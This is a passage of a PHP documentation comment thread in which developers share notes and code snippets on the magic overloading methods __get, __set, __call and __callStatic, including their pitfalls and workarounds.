<?php
echo $b->b5; // produces no value
?>
ari at asu dot edu 31-Oct-2011 01:57
It may be important to note that when __set($name, $value) is called, $name gets entered into the symbol table for that call stack. This means that if a property is set within __set, it will only work if that property's name appears in the call stack (ie if it matches $name). If not, __set will be called again on the new property recursively.

<?php
class test
{
    function __set($name, $value)
    {
        echo "__set($name, $value);\n";
        $this->prop3 = $value; // This will call __set(prop3, value)
        $this->prop2 = $value; // This will call __set(prop2, value)
        $this->prop1 = $value; // This will NOT call __set(prop1, value) because $name == prop1.
    }
}

$test = new test;
$test->prop1 = 'value';
?>

It could be thought of like this: within the function __set($name, $value), $this->[property name] = [value] will recurse unless property name == $name. Within the call stack of __set, __set will never recurse on the same name twice. Once you leave __set (without actually creating the property), the call stack ends and all bets are off.

What this means:
You cannot do things like setting an (uppercase) property to lowercase within __set without expecting __set to be called twice. If you were to add an underscore to the property name, you can expect an infinite recursion loop.

I hope someone finds this useful. It drove me nuts for a few hours.
matt at mcmcms dot com 13-Oct-2011 05:31
If you need to try and imitate the functionality of the __get() and __set() magic methods whilst outside of the object-scope (i.e. using a static method) this small __callStatic() implementation may help you out.

<?php

class config
{

private static $_propertyArray = array();

        public static function __callStatic( $method, $args )
        {
            $property = $args[0];

                switch( $method )
                {
                    case 'set':
                        // set property
                            self::$_propertyArray[ $property ] = $args[1];
                    break;

                    case 'get':
                        // get property
                            if( isset( self::$_propertyArray[ $property ] ) )
                            {
                                return self::$_propertyArray[ $property ];
                            }
                            else {
                                throw new Exception( "Property ({$property}) does not exist", 0 );
                            }
                    break;

                    default:
                        // do nothing..
                    break;
                }
        }
}

config::set( 'my_property', 'someValue' );

print "The value of 'my_property' is: " . config::get( 'my_property' );

// Will output: The value of 'my_property' is: someValue

?>
dans at dansheps dot com 01-Aug-2011 08:38
Since this was getting me for a little bit, I figure I better pipe in here...

For nested calls to private/protected variables(probably functions too) what it does is call a __get()  on the first object, and if you return the nested object, it then calls a __get() on the nested object because, well it is protected as well.

EG:
<?php
class A
{
protected $B

public function __construct()
{
$this->B = new B();
}

public function __get($variable)
{
echo "Class A::Variable " . $variable . "\n\r";
$retval = $this->{$variable};
return $retval;
}
}

class B
{
protected $val

public function __construct()
{
$this->val = 1;
}

public function __get($variable)
{
echo "Class B::Variable " . $variable . "\n\r";
$retval = $this->{$variable};
return $retval;
}
}

$A = new A();

echo "Final Value: " . $A->B->val;
?>

That will return something like...

Class A::Variable B
Class B::Variable val
Final Value: 1

It seperates the calls into $A->B and $B->val

Hope this helps someone
jk at jankriedner dot de 07-Jun-2011 03:15
You should take care when using properties retrieved via __get() in functions that expect arguments to be passed by reference (e.g. mysqli_stmt_bind_param). The reference is NOT set to the property itself, but to the value returned by __get().
Thus, binding a property retrieved via __get() to a statement will let the statement be executed always with the value the property had when calling bind_param, not with the current value it has when calling execute().
E.g.:
<?php
error_reporting(E_ALL);
class foo {
    protected $bar;

    public function __construct() {
        $this->bar = "Hello World!";
    }
    public static function factory() {
        return new self;
    }
    public function __get($property) {
        if(!property_exists($this,$property)) {
            throw new InvalidArgumentException("Property {$property} doesn't exist");
        }
        return $this->$property;
    }
    public function setBar($value) {
        $this->bar = $value;
    }
}
$foo = new foo();
echo $foo->bar;    // Ouputs: Hello World!
$db = new mysqli("localhost","root","","tests");
$sql = "INSERT INTO foo SET bar=?";
$res = $db->prepare($sql);
$res->bind_param("s",$foo->bar);  // Notice: Indirect modification of overloaded property foo::$bar has no effect in /var/www/overload.php on line 24
$res->execute();  // Writes "Hello World!" to database
$foo->setBar("Goodbye");
echo $foo->bar;   // Outputs: Goodbye
$res->execute();  // Writes "Hello World!" to database
?>
Daniel Smith 23-May-2011 04:15
Be careful of __call in case you have a protected/private method. Doing this:

<?php
class TestMagicCallMethod {
    public function foo()
    {
        echo __METHOD__.PHP_EOL;
    }

    public function __call($method, $args)
    {
        echo __METHOD__.PHP_EOL;
        if(method_exists($this, $method))
        {
            $this->$method();
        }
    }

    protected function bar()
    {
        echo __METHOD__.PHP_EOL;
    }

    private function baz()
    {
        echo __METHOD__.PHP_EOL;
    }
}

$test    =    new TestMagicCallMethod();
$test->foo();
/**
 * Outputs:
 * TestMagicCallMethod::foo
 */

$test->bar();
/**
 * Outputs:
 * TestMagicCallMethod::__call
 * TestMagicCallMethod::bar
 */

$test->baz();
/**
 * Outputs:
 * TestMagicCallMethod::__call
 * TestMagicCallMethod::baz
 */
?>

..is probably not what you should be doing. Always make sure that the methods you call in __call are allowed as you probably dont want all the private/protected methods to be accessed by a typo or something.
jan dot machala at email dot cz 15-Apr-2011 03:47
Example of usage __call() to have implicit getters and setters

<?php
class Entity {
    public function __call($methodName, $args) {
        if (preg_match('~^(set|get)([A-Z])(.*)$~', $methodName, $matches)) {
            $property = strtolower($matches[2]) . $matches[3];
            if (!property_exists($this, $property)) {
                throw new MemberAccessException('Property ' . $property . ' not exists');
            }
            switch($matches[1]) {
                case 'set':
                    $this->checkArguments($args, 1, 1, $methodName);
                    return $this->set($property, $args[0]);
                case 'get':
                    $this->checkArguments($args, 0, 0, $methodName);
                    return $this->get($property);
                case 'default':
                    throw new MemberAccessException('Method ' . $methodName . ' not exists');
            }
        }
    }

    public function get($property) {
        return $this->$property;
    }

    public function set($property, $value) {
        $this->$property = $value;
        return $this;
    }

    protected function checkArguments(array $args, $min, $max, $methodName) {
        $argc = count($args);
        if ($argc < $min || $argc > $max) {
            throw new MemberAccessException('Method ' . $methodName . ' needs minimaly ' . $min . ' and maximaly ' . $max . ' arguments. ' . $argc . ' arguments given.');
        }
    }
}

class MemberAccessException extends Exception{}

class Foo extends Entity {
    protected $a;
}

$foo = new Foo();
$foo->setA('some'); // outputs some
echo $foo->getA();

class Bar extends Entity {
    protected $a;
    /**
     * Custom setter.
     */
    public function setA($a) {
        if (!preg_match('~^[0-9a-z]+$~i', $a)) {
            throw new MemberAccessException('A can be only alphanumerical');
        }
        $this->a = $a;
        return $this;
    }
}

$bar = new Bar();
$bar->setA('abc123'); // ok
$bar->setA('[]/*@...'); // throws exception
?>
dvessel 29-Mar-2011 05:46
A controlled way to chain the results of a method call onto a new property. I thought it was impossible to do cleanly but I finally found a decent way of handling it.

<?php

class main {
  public function newMember($value) {
    return new sub($this, $value);
  }
}

class sub {
  protected $parent;
  protected $value;

  public function __construct($parent, $value) {
    $this->parent = $parent;
    $this->value  = $value;
  }
  public function __get($name) {
    $this->parent->$name = $this->value;
    return $this;
  }
  public function __call($name, $args) {
    // Invoke parent class.
    return call_user_func_array(array($this->parent, $name), $args);
  }
}

$object = new main();

$object->newMember('value for foo')->foo->newMember('value for bar')->bar;

print var_dump($object->foo);
print var_dump($object->bar);

// prints out "value for foo" and "value for bar".

?>

Without the secondary 'sub' class, the chaining can be unpredictable since it doesn't carry over any state information. This way you can encapsulate the results into the supporting class and let it do the work.
Anonymous 19-Dec-2010 03:12
Using anon functions, you can allow your class methods to be declared after your class is already set.  Though you cannot use a class property as a function in any way (including for properties that are objects with their own __invoke() method) without triggering a fatal error, there is a workaround using an array property to store all these anon functions...

<?php

class Test {
    // generic class allowing dynamic addition of methods

    public $anon_list = array(); // list of all custom added methods

    function __call($fnc, $args) {return call_user_func_array($this->anon_list[$fnc], $args);}

    function __set($name, $val) {$this->anon_list[$name] = $val;}

    }

// Example adding a new custom method
$test = new Test;
$test->do_something = function ($var1, $var2) {echo "custom called with $var1 and $var2\n";};
$test->do_something('asdf', 'test');

?>

Unfortunately, without access to $this within the anon functions, it's not really useful.  You can "use ($test)" in your anon function, but that just makes it more complicated.
php at lanar dot com dot au 12-Jun-2010 05:39
Note that __isset is not called on chained checks.
If isset( $x->a->b ) is executed where $x is a class with __isset() declared, __isset() is not called.

<?php

class demo
{
    var $id ;
    function __construct( $id = 'who knows' )
    {
        $this->id = $id ;
    }
    function __get( $prop )
    {
        echo "\n", __FILE__, ':', __LINE__, ' ', __METHOD__, '(', $prop, ') instance ', $this->id ;
        return new demo( 'autocreated' ) ; // return a class anyway for the demo
    }
    function __isset( $prop )
    {
        echo "\n", __FILE__, ':', __LINE__, ' ', __METHOD__, '(', $prop, ') instance ', $this->id ;
        return FALSE ;
    }
}
$x = new demo( 'demo' ) ;
echo "\n", 'Calls __isset() on demo as expected when executing isset( $x->a )' ;
$ret = isset( $x->a ) ;
echo "\n", 'Calls __get() on demo without call to __isset()  when executing isset( $x->a->b )' ;
$ret = isset( $x->a->b ) ;
?>

Outputs

Calls __isset() on demo as expected when executing isset( $x->a )
C:\htdocs\test.php:31 demo::__isset(a) instance demo
Calls __get() on demo without call to __isset()  when executing isset( $x->a->b )
C:\htdocs\test.php:26 demo::__get(a) instance demo
C:\htdocs\test.php:31 demo::__isset(b) instance autocreated
navarr at gtaero dot net 15-May-2010 01:25
If you want to make it work more naturally for arrays $obj->variable[] etc you'll need to return __get by reference.

<?php
class Variables
{
        public function __construct()
        {
                if(session_id() === "")
                {
                        session_start();
                }
        }
        public function __set($name,$value)
        {
                $_SESSION["Variables"][$name] = $value;
        }
        public function &__get($name)
        {
                return $_SESSION["Variables"][$name];
        }
        public function __isset($name)
        {
                return isset($_SESSION["Variables"][$name]);
        }
}
?>
~A! 27-Apr-2010 09:03
Dynamic getting-setting using __call and __callStatic
<?php

   class A {
        private $fields;

        public function __call($func, $args) {
            if (empty($args)) {
                return $this->fields[$args[0]];
            } else {
                $this->$fields[$func] = $args[0];
        }
    }

?>

Or statically:

<?php
    class foo {
        static $vals;
        public static function __callStatic($func, $args) {
            if (!empty($args)) {
                self::$vals[$func] = $args[0];
            } else {
                return self::$vals[$func];
            }
        }
    }
?>

Which would allow you to say:

<?php
    Foo::username('john');
    print Foo::username(); // prints 'john'
?>
zzzzbov 26-Apr-2010 12:30
I've written a brief, generic function for __get() and __set() that works well implementing accessor and mutator functions.

This allows the programmer to use implicit accessor and mutator methods when working with attribute data.

<?php

class MyClass
{
    private $degrees

    public function __get($name)
    {
        $fn_name = 'get_' . $name;
        if (method_exists($this, $fn_name))
        {
            return $this->$fn_name();
        }
        else
        {
            return null;
        }
    }

    public function __set($name, $value)
    {
        $fn_name = 'set_' . $name;
        if (method_exists($this, $fn_name))
        {
            $this->$fn_name($value);
        }
    }

    private function get_degrees()
    {
        return $this->degrees;
    }

    private function set_degrees($value)
    {
        $this->degrees = $value % 360;
        if ($degrees < 0) $this->degrees += 360;
    }
}

?>
f4bi0_ at hotmail dot com 01-Apr-2010 01:12
TRICKY CHALLENGE: is there a way to check if $object->variable exists without automatically triggering the functionality of __get in case the variable doesn't exist?

TRADITIONAL WAY:
<?php

$object = new someClass(); // imagine someClass uses the Magic Method "__get"

if($object->variable){
 // do something

} else {

 // "__get" has inevitably been triggered :-(

}

?>

Ok, above we have the conventional way to check if a variable exists inside the object, the problem is that sometimes we DON'T WANT TO TRIGGER __GET in case the statement returns false!

ALTERNATIVE WAY:

<?php
if(array_key_exists( 'variable', get_object_vars($object) ) ){

 // do something

} else {

 // "__get" has no idea what is going on, i think it is still asleep :-)

}

?>

you can even turn this into a function or something
strata_ranger at hotmail dot com 07-Oct-2009 09:56
Combining two things noted previously:

1 - Unsetting an object member removes it from the object completely, subsequent uses of that member will be handled by magic methods.
2 - PHP will not recursively call one magic method from within itself (at least for the same $name).

This means that if an object member has been unset(), it IS possible to re-declare that object member (as public) by creating it within your object's __set() method, like this:

<?php
class Foo
{
  function __set($name, $value)
  {
    // Add a new (public) member to this object.
    // This works because __set() will not recursively call itself.
    $this->$name= $value;
  }
}

$foo = new Foo();

// $foo has zero members at this point
var_dump($foo);

// __set() will be called here
$foo->bar = 'something'; // Calls __set()

// $foo now contains one member
var_dump($foo);

// Won't call __set() because 'bar' is now declared
$foo->bar = 'other thing';

?>

Also be mindful that if you want to break a reference involving an object member without triggering magic functionality, DO NOT unset() the object member directly.  Instead use =& to bind the object member to any convenient null variable.
Franz 05-Oct-2009 10:59
It says in the documentation that assignment chaining does not work with the __set() function like this:

<?php
$a = $foo->b = 3;
?>

If you still want to make it work, I suppose you can just turn the variables around:

<?php
$foo->b = $a = 3;
?>
kexianbin at diyism dot com 21-Aug-2009 11:29
By using __call, we can use php as using jQuery:

<?php
//SoWork PHP Framework
define('this', mt_rand());
$o='so_work';
class cls_so_work
      {function __call($fun, $pars)
                {foreach ($pars as &$v)
                         {if ($v===this)
                             {$v=$this->val;
                              break;
                             }
                         }
                 $tmp=eval('return defined("'.$fun.'")?constant("'.$fun.'"):"'.$fun.'";');
                 $this->val=call_user_func_array($tmp, $pars);
                 return $this;
                }
       function cls_so_work($obj)
                {$this->val=isset($obj)?$obj:null;
                }
      }
function so_work($obj)
         {if (isset($obj))
             {return new cls_so_work($obj);
             }
          else
              {if (!isset($GLOABALS['so_work']))
                  {$GLOABALS['so_work']=new cls_so_work();
                  }
               else
                   {$GLOABALS['so_work']->val=null;
                   }
               return $GLOABALS['so_work'];
              }
         }

define('echo', 'my_echo');
function my_echo($obj)
         {echo $obj;
          return $obj;
         }

$o('abcd')->substr(this, 2, 2)->strlen(this)->echo(this);
$o()->substr('abcd', 1, 3)->strlen(this)->echo(this);
?>
eric dot druid+php dot net at gmail dot com 01-Jul-2009 04:22
I needed to know from where a member variable was set from to determine visibility.

<?php
class foo {
  private $data;
  public function __set($name, $value) {
    $trace = debug_backtrace();
    if(!isset($trace[1]) || $trace[1]['object'] != $trace[0]['object']) {
      die("Trying to set protected member '$name' from public scope.");
    }
    $data[$name] = $value;
  }
}
?>
Anonymous 05-Jun-2009 03:54
It is possible to accomplish method polymorphism via PHP's __call method:
<?php
class Example{
    public function __call($name, $arguments){
        switch($name){
            case 'foo':
                switch(count($arguments)){
                    case 2:
                        echo 'You called "foo" with two arguments.<br>' . PHP_EOL;
                        break;
                    case 3:
                        echo 'You called "foo" with three arguments.<br>' . PHP_EOL;
                        break;
                    default:
                        echo 'Error: Invalid number of arguments to "foo."<br>' . PHP_EOL;
                        break;
                }
                break;
            default:
                echo "Error: Call to undefined function \"$name.\"<br>" . PHP_EOL;
        }
    }
}

$test = new Example;
$test->foo('bar', 'baz');
$test->foo('bar', 'baz', 'fez', 'fap');
$test->bar();
?>
troggy dot brains at gmx dot de 19-May-2009 12:17
Just another note about using __get() & __set() on array properties with PHP v5.2.0.
Took me quite a while to find out why I couldn't write an array property that was created via __set(). Now a few notes earlier someone described a working solution using the ArrayObject-class. This does work, but has a big downside, you cannot expect other programmers to know that they will be getting an instance of ArrayObject instead of a native array, and trying to do an implode() on an ArrayObject will just not work. So, here is my solution to the problem:

<?php
class A {
  private $properties = array();

  public function __set($key, $value) {
    if (is_array($value)) {
      $this->$key = $value;
    } else {
      $this->properties[$key] = $value;
    }
  }

  public function __get($key) {
    if (array_key_exists($key, $this->properties)) {
      return $this->properties[$key];
    }

    return null;
  }
}
?>

The idea behind this is, that you can register new properties at any time from within a class without getting a warning or some of that kind. Now, if you try to set a property from outside the class, the __set() method will be called and decides whether to place the new property in the properties array or declare it as a new "native" property. When trying to get that property, the __get() method will only be called if the property is not "native", which won't be the case for an array.

HTH
daevid at daevid dot com 14-May-2009 09:16
Here's a handy little routine to suggest properties you're trying to set that don't exist. For example:

Attempted to __get() non-existant property/variable 'operator_id' in class 'User'.

checking for operator and suggesting the following:

    * id_operator
    * operator_name
    * operator_code

enjoy.

<?php
    /**
     * Suggests alternative properties should a __get() or __set() fail
     *
     * @param     string $property
     * @return string
     * @author Daevid Vincent [daevid@daevid.com]
     * @date    05/12/09
     * @see        __get(), __set(), __call()
     */
    public function suggest_alternative($property)
    {
        $parts = explode('_',$property);
        foreach($parts as $i => $p) if ($p == '_' || $p == 'id') unset($parts[$i]);

        echo 'checking for <b>'.implode(', ',$parts)."</b> and suggesting the following:<br/>\n";

        echo "<ul>";
        foreach($this as $key => $value)
            foreach($parts as $p)
                if (stripos($key, $p) !== false) print '<li>'.$key."</li>\n";
        echo "</ul>";
    }

just put it in your __get() or __set() like so:

    public function __get($property)
    {
            echo "<p><font color='#ff0000'>Attempted to __get() non-existant property/variable '".$property."' in class '".$this->get_class_name()."'.</font><p>\n";
            $this->suggest_alternative($property);
            exit;
    }
?>
niehztog 14-Feb-2009 10:59
If you got a parent class agregating(not inheriting) a number of child classes in an array, you can use the following to allow calling methods of the parent object on agregated child objects:
<?php
class child {
    public $holder = null;

    public function __call($name, $arguments) {
        if($this->holder instanceof parentClass && method_exists($this->holder, $name)) {
            return call_user_func_array(array($this->holder, $name), $arguments);
        }
        else {
            trigger_error();
        }
    }
}

class parentClass {
    private $children = array();

    function __construct() {
        $this->children[0] = new child();
        $this->children[0]->holder = $this;
    }

    function getChild($number) {
        if(!isset($this->children[$number])) {
            return false;
        }
        return $this->children[$number];
    }

    function test() {
        return 'it works';
    }
}

$parent = new parentClass();
$firstChild = $parent->getChild(0);
echo $firstChild->test(); //should output 'it works'
?>
jorge dot hebrard at gmail dot com 23-Dec-2008 04:55
This is a great way to give different permissions to parent classes.

<?php
class A{
    private $b;
    function foo(){
        $this->b = new B;
        echo $this->b->protvar;
    }
}
class B extends A{
    protected $protvar="protected var";
    public function __get($nm) {
       echo "Default $nm value";
    }
}
$a = new A;
$b = new B;
$a->foo(); // prints "protected var"
echo $b->protvar; // prints "Default protvar value"
?>
This way, you can help parent classes to have more power with protected members.
Ant P. 21-Dec-2008 08:40
Be extra careful when using __call():  if you typo a function call somewhere it won't trigger an undefined function error, but get passed to __call() instead, possibly causing all sorts of bizarre side effects.
In versions before 5.3 without __callStatic, static calls to nonexistent functions also fall through to __call!
This caused me hours of confusion, hopefully this comment will save someone else from the same.
erick2711 at gmail dot com 14-Nov-2008 07:33
<?php
/***********************************************
 *And here follows a child class which implements a menu based in the 'nodoMenu' class (previous note).
 *
 *[]s
 *
 *erick2711 at gmail dot com
 ************************************************/
class menu extends nodoMenu{
    private $cssc = array();

    public function __toString(){  //Just to show, replace with something better.
        $stringMenu = "<pre>\n";$stringMenu .= $this->strPrint();$stringMenu .= "</pre>\n";
        return $stringMenu;
    }

    public function __construct($cssn = null){
        parent::__construct();
        if (isset($cssn) && is_array($cssn)){$this->cssc = $cssn;}
        $this->buildMenu();
    }

    public function buildMenu(){
        $this->add('server',
                   'Server',
                   'server.php');
            $this->server->add('personalD',
                               'Personal Data',
                               'server/personal.php');
            $this->server->add('personalI',
                               'Personal Interviews',
                               'server/personalI.php');
                $this->server->personalI->add('detailsByIer',
                                              'Detalis by Interviewer',
                                              'server/personalI.php?tab=detailsByIer');
        //(...)
        return $this;
    }
}

//Testing
$meuMenu = new menu;
echo $meuMenu;
/***********************************************
 *Will output (to the browser):
 *
 *<pre>
 *1 Server<br>
 *  1.1 Personal Data<br>
 *  1.2 Personal Interviews<br>
 *      1.2.1 Details by Interviewer<br>
 *</pre>
 *
 *Which shows:
 *
 *1 Server
 *  1.1 Personal Data
 *  1.2 Personal Interviews
 *      1.2.1 Details by Interviewer
 ************************************************/
?>
erick2711 at gmail dot com 14-Nov-2008 07:09
<?php
/*
    Here folows a little improvement of the 'strafvollzugsbeamter at gmx dot de' code, allowing each node to hold both 'parameters' and 'child nodes', and differentiate $s->A->B->C ('FOO') from $s->A (same 'FOO', but shouldn't exist) and from $s-A->B (idem).
    This allows the class, using the interesting suggested syntax ($root->dad->child->attribute, in which 'dad's and 'child's names are dynamically generated), to do something actually useful, like implementing a n-tree data structure (a menu, for instance).
    It was tested under PHP 5.2.6 / Windows.
    I know that must there be something better which already do this (probably in the DOM Model classes, or something like), but it was fun to develop this one, for the sake of studying the "magic" methods.
    Its a compressed version of the code (no comments, too short variable names, almost no identation). I had to compress it in order to add the note. If anyone cares about the full version, just email me.
    []s

    erick2711 at gmail dot com
*/
class nodoMenu{

    protected $p  = array();
    protected $c = array();

    public function __construct($t = '', $uri = '', $css = null, $n = 0, $i=0){
        $this->p['t'] = $t;$this->p['uri'] = $uri;$this->p['css'] = $css;$this->p['n'] = $n;$this->p['i'] = $i;$this->p['q'] = 0;return $this;
    }

    public function add($cn, $ct = '', $cl = '', $css = null){
        $nc = new nodoMenu($ct, $cl, $css, $this->p['n'] + 1, $this->p['q']);$this->c[$cn] = $nc;$this->p['q'] += 1;return $this->c[$cn];
    }

    private function isParameter($pn){
        return array_key_exists($pn, $this->p);
    }

    public function __isset($pn){
        if ($this->isParameter($pn)){return(!is_null($this->p[$pn]));}
        else{return(array_key_exists($pn, $this->c));}
    }

    public function remove($cn){
        if (array_key_exists($cn, $this->c)){$this->p['q'] -= 1;unset($this->c[$cn]);}
    }

    public function __unset($pn){
        if ($this->isParameter($pn)){$this->p[$pn] = null;}
        else{$this->remove($pn);}
    }

    public function __set($pn, $v){
        $r = null;
        if ($this->isParameter($pn)){$this->p[$pn] = $v;$r = $v;}
        else{if (array_key_exists($pn, $this->c)){$this->c[$pn] = $v;$r = $this->c[$pn];}
            else{$r = $this->add($pn);}}
        return $r;
    }

    public function __get($pn){
        $v = null;
        if ($this->isParameter($pn)){$v = $this->p[$pn];}
        else{if (array_key_exists($pn, $this->c)){$v = $this->c[$pn];}
            else{$v = $this->add($pn);}}
        return $v;
    }

    public function hasChilds(){
        return(isset($this->c[0]));
    }

    public function child($i){
        return $this->c[$i];
    }

    public function strPrint($bm = ''){   //Just to show, replace with something better.
        $m = '';$r = '';$n = $this->p['n'];
        if ($n > 0){switch($n){case 0:case 1: $qs = 0; break;case 2: $qs = 2; break;case 3: $qs = 6; break;case 4: $qs = 12; break;case 5: $qs = 20; break;case 6: $qs = 30; break;case 7: $qs = 42; break;case 8: $qs = 56; break;}
            $tab = str_repeat('&nbsp;', $qs);$r .= $tab;
            if ($bm <> ''){$m = $bm.'.';}
            $im = $this->p['i'] + 1;$m .= $im;$r .= $m.' ';$r .= $this->p['t']."<br>\n";
        }
        foreach ($this->c as $child){$r .= $child->strPrint($m);}
        return $r;
    }

    public function __toString(){
        return $this->strPrint();
    }
}
?>
Ant P. 30-Aug-2008 07:01
There's nothing wrong with calling these functions as normal functions:

If you end up in a situation where you need to know the return value of your __set function, just write <?php $a = $obj->__set($var, $val); ?> instead of <?php $a = $obj->$var = $val; ?>.
strafvollzugsbeamter at gmx dot de 16-Jul-2008 12:57
The following works on my installation (5.2.6 / Windows):
<?php
class G
{
    private $_p = array();

    public function __isset($k)
    {
        return isset($this->_p[$k]);
    }

    public function __get($k)
    {
        $v = NULL;
        if (array_key_exists($k, $this->_p))
        {
            $v = $this->_p[$k];
        }
        else
        {
            $v = $this->{$k} = $this;
        }

        return $v;
    }

    public function __set($k, $v)
    {
        $this->_p[$k] = $v;

        return $this;
    }
}

$s = new G();
$s->A->B->C = 'FOO';
$s->X->Y->Z = array ('BAR');

if (isset($s->A->B->C))
{
    print($s->A->B->C);
}
else
{
    print('A->B->C is NOT set');
}

if (isset($s->X->Y->Z))
{
    print_r($s->X->Y->Z);
}
else
{
    print('X->Y->Z is NOT set');
}

// prints: FOOArray ( [0] => BAR )
?>

... have fun and  ...
Anonymous 30-Apr-2008 01:02
This is a generic implementation to use getter, setter, issetter and unsetter for your own classes.

<?php
abstract class properties
{
  public function __get( $property )
  {
    if( ! is_callable( array($this,'get_'.(string)$property) ) )
      throw new BadPropertyException($this, (string)$property);

    return call_user_func( array($this,'get_'.(string)$property) );
  }

  public function __set( $property, $value )
  {
    if( ! is_callable( array($this,'set_'.(string)$property) ) )
      throw new BadPropertyException($this, (string)$property);

    call_user_func( array($this,'set_'.(string)$property), $value );
  }

  public function __isset( $property )
  {
    if( ! is_callable( array($this,'isset_'.(string)$property) ) )
      throw new BadPropertyException($this, (string)$property);

    return call_user_func( array($this,'isset_'.(string)$property) );
  }

  public function __unset( $property )
  {
    if( ! is_callable( array($this,'unset_'.(string)$property) ) )
      throw new BadPropertyException($this, (string)$property);

    call_user_func( array($this,'unset_'.(string)$property) );
  }
}
?>
nospam michael AT netkey DOT at nospam 01-Apr-2008 10:10
you CAN write into ARRAYS by using __set and __get magic functions.

as has been mentioned before $obj->var['key'] = 'test'; does call the __get method of $obj, and there is no way to find out, if the method has been called for setting purposes.

the solution is quite simple: use __get to return the array by reference. then you can write into it:

<?php
class setter{
  private $_arr = array();

  public function __set($name, $value){
    $this->_arr[$name] = $value;
  }

  public function &__get($name){
    if (isset($this->_arr[$name])){
      return $this->_arr[$name];
    } else return null;
  }

}

?>
Matt Creenan 29-Feb-2008 08:34
PHP4 supports using __call but with a twist that I did not see mentioned anywhere on this page.

In 4, you must make the __call method signature with 3 parameters, the 3rd of which is the return value and must be declared by-reference.  Instead of using "return $value;" you would assign the 3rd argument to $value.

Example (both implementations below have the same result when run in the respective PHP versions:

<?php

// Will only work in PHP4
class Foo
{
    function __call($method_name, $parameters, &$return_value)
    {
        $return_value = "Method $method_name was called with " . count($parameters) . " parameters";
    }
}

// Will only work in PHP5
class Foo
{
    function __call($method_name, $parameters)
    {
        return "Method $method_name was called with " . count($parameters) . " parameters";
    }
}

?>
dave at mozaiq dot org 10-Feb-2008 03:58
Several users have mentioned ways to allow setting of array properties via magic methods. In particular, PHP calls the __get() method instead of the __set() method when you try to do: $obj->prop['offset'] = $val.

The suggestions that I've read below all work, except that they do not allow you make properties read-only. After a bit of struggling, I have found a solution. Essentially, if the property is supposed to be a read-only array, create an new ArrayObject() out of it, then clone it and return the clone.

<?php

public function __get($var) {
    if(isset($this->read_only_props[$var])) {
        $ret = null;
        if (is_array($this->read_only_props[$var]))
            return clone new ArrayObject($this->read_only_props[$var]);
        else if (is_object($this->read_only_props[$var]))
            return clone $this->read_only_props[$var];
        else
            return $this->read_only_props[$var];
    }
    else if (!isset($this->writeable_props[$var]))
        $this->writeable_props[$var] = NULL;
    return $this->writeable_props[$var];
}

public function __set($var, $val) {
    if (isset($this->read_only_props[$var]))
        throw new Exception('tried to set a read only property on the event object');
    return $this->writeable_props[$var] = $val;
}
?>

Note that __get() does not explicitly return by reference as many examples have suggested. Also, I have not found a way to detect when __get() is being called for setting purposes, thus my code can not throw an exception when necessary in these cases.
timshaw at mail dot NOSPAMusa dot com 28-Jan-2008 09:47
The __get overload method will be called on a declared public member of an object if that member has been unset.

<?php
class c {
  public $p ;
  public function __get($name) { return "__get of $name" ; }
}

$c = new c ;
echo $c->p, "\n" ;    // declared public member value is empty
$c->p = 5 ;
echo $c->p, "\n" ;    // declared public member value is 5
unset($c->p) ;
echo $c->p, "\n" ;    // after unset, value is "__get of p"
?>
jj dhoT maturana aht gmail dhot com 25-Jan-2008 04:16
There isn't some way to overload a method when it's called as a reflection method:

<?php

class TestClass {
  function __call($method, $args) {
    echo "Method {$method} called with args: " . print_r($args, TRUE);
  }
}

$class = new ReflectionClass("TestClass");
$method = $class->getMethod("myMehtod");

//Fatal error:  Uncaught exception 'ReflectionException' with message 'Method myMethod' does not exist'

?>

Juan.
v dot umang at gmail dot com 11-Jan-2008 09:20
If you want to be able to overload a variable from within a class and this is your code:
<?php
class myClass
{
    private $data;
    public function __set($var, $val)
    {
        $this->data[$var] = $val;
    }
    public function __get($var)
    {
        $this->data[$var] = $val;
    }
}
?>

There is a problem if you want to call these variables from within the class, as you you want to access data['data'] then you can't say $this->data as it will return the array $data. Therefore a simple solution is to name the array $_data. So in your __get and __set you will say $this->_data ... rather than $this->data. I.E:
<?php
class myClass
{
    private $_data;
    public function __set($var, $val)
    {
        $this->_data[$var] = $val;
    }
    public function __get($var)
    {
        $this->_data[$var] = $val;
    }
}
?>

Umang
soldair at NOSPAM gmail.com 10-Jan-2008 09:21
the documentation states a falsehood:
 "All overloading methods must be defined as public."

<?php
class test{
    #################
    #public use methods#
    #################
    public static function echoData(){
        $obj = self::getInstance();
        echo $obj->find('data');
        return true;
    }
    ######################
    #only use a single instance#
    ######################
    private static $instance;
    private static function getInstance(){
        if(!isset(self::$instance)){
            self::$instance = new test;
        }
        return self::$instance;
    }
    #################
    #private instantiation#
    #################
    private $data = array('data'=>'i am data');
    private function __construct(){}
    private function __call($nm,$args){
        if(isset($this->data[$args[0]])){
            return $this->data[$args[0]];
        }
        return null;
    }
}

test::echoData();
?>
--------------OUTPUT---------------
i am data
-----------------------------------

this test was run using PHP Version 5.2.4
Anonymous 09-Jan-2008 07:45
it should be noted that __call will trigger only for method calls on an instantiated object, and cannot be used to 'overload' static methods.  for example:

<?php

class TestClass {
  function __call($method, $args) {
    echo "Method {$method} called with args: " . print_r($args, TRUE);
  }
}

// this will succeed
$obj = new TestClass();
$obj->method_doesnt_exist();

// this will not
TestClass::method_doesnt_exist();

?>

It would be useful if the PHP devs would include this in a future release, but in the meantime, just be aware of that pitfall.
egingell at sisna dot com 20-Dec-2007 07:54
The PHP devs aren't going to implement true overloading because: PHP is not strictly typed by any stretch of the imagination (0, "0", null, false, and "" are the same, for example) and unlike Java and C++, you can pass as many values as you want to a function. The extras are ignored unless you fetch them using func_get_arg(int) or func_get_args(), which is often how I "overload" a function/method, and fewer than the declared number of arguments will generate an E_WARNING, which can be suppressed by putting '@' before the function call, but the function will still run as if you had passed null where a value was expected.

<?php
class someClass {
    function whatever() {
        $args = func_get_args();

        // public boolean whatever(boolean arg1) in Java
        if (is_bool($args[0])) {
            // whatever(true);
            return $args[0];

        // public int whatever(int arg1, boolean arg2) in Java
        } elseif(is_int($args[0]) && is_bool($args[1])) {
            // whatever(1, false)
            return $args[0];

        } else {
            // public void whatever() in Java
            echo 'Usage: whatever([int], boolean)';
        }
    }
}
?>

// The Java version:
public class someClass {
    public boolean whatever(boolean arg1) {
        return arg1;
    }

    public int whatever(int arg1, boolean arg2) {
        return arg1;
    }

    public void whatever() {
        System.out.println("Usage: whatever([int], boolean)");
    }
}
matthijs at yourmediafactory dot com 16-Dec-2007 11:09
While PHP does not support true overloading natively, I have to disagree with those that state this can't be achieved trough __call.

Yes, it's not pretty but it is definately possible to overload a member based on the type of its argument. An example:
<?php
class A {

